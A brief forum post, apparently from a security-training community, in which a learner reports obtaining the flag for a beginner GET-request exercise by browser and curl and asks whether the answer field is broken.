that would be so cool 😄

trim scaffold
#

forgive me if this has been answered already but I have a question regarding the Web Requests / GET method. First question asks to send a GET request to flag.php to include the two parameters that equal 1337. I can complete and get the flag in a web browser, I can complete and get the flag with a curl command. Is the question on the page broken maybe? It seems that nothing I put in will satisfy it.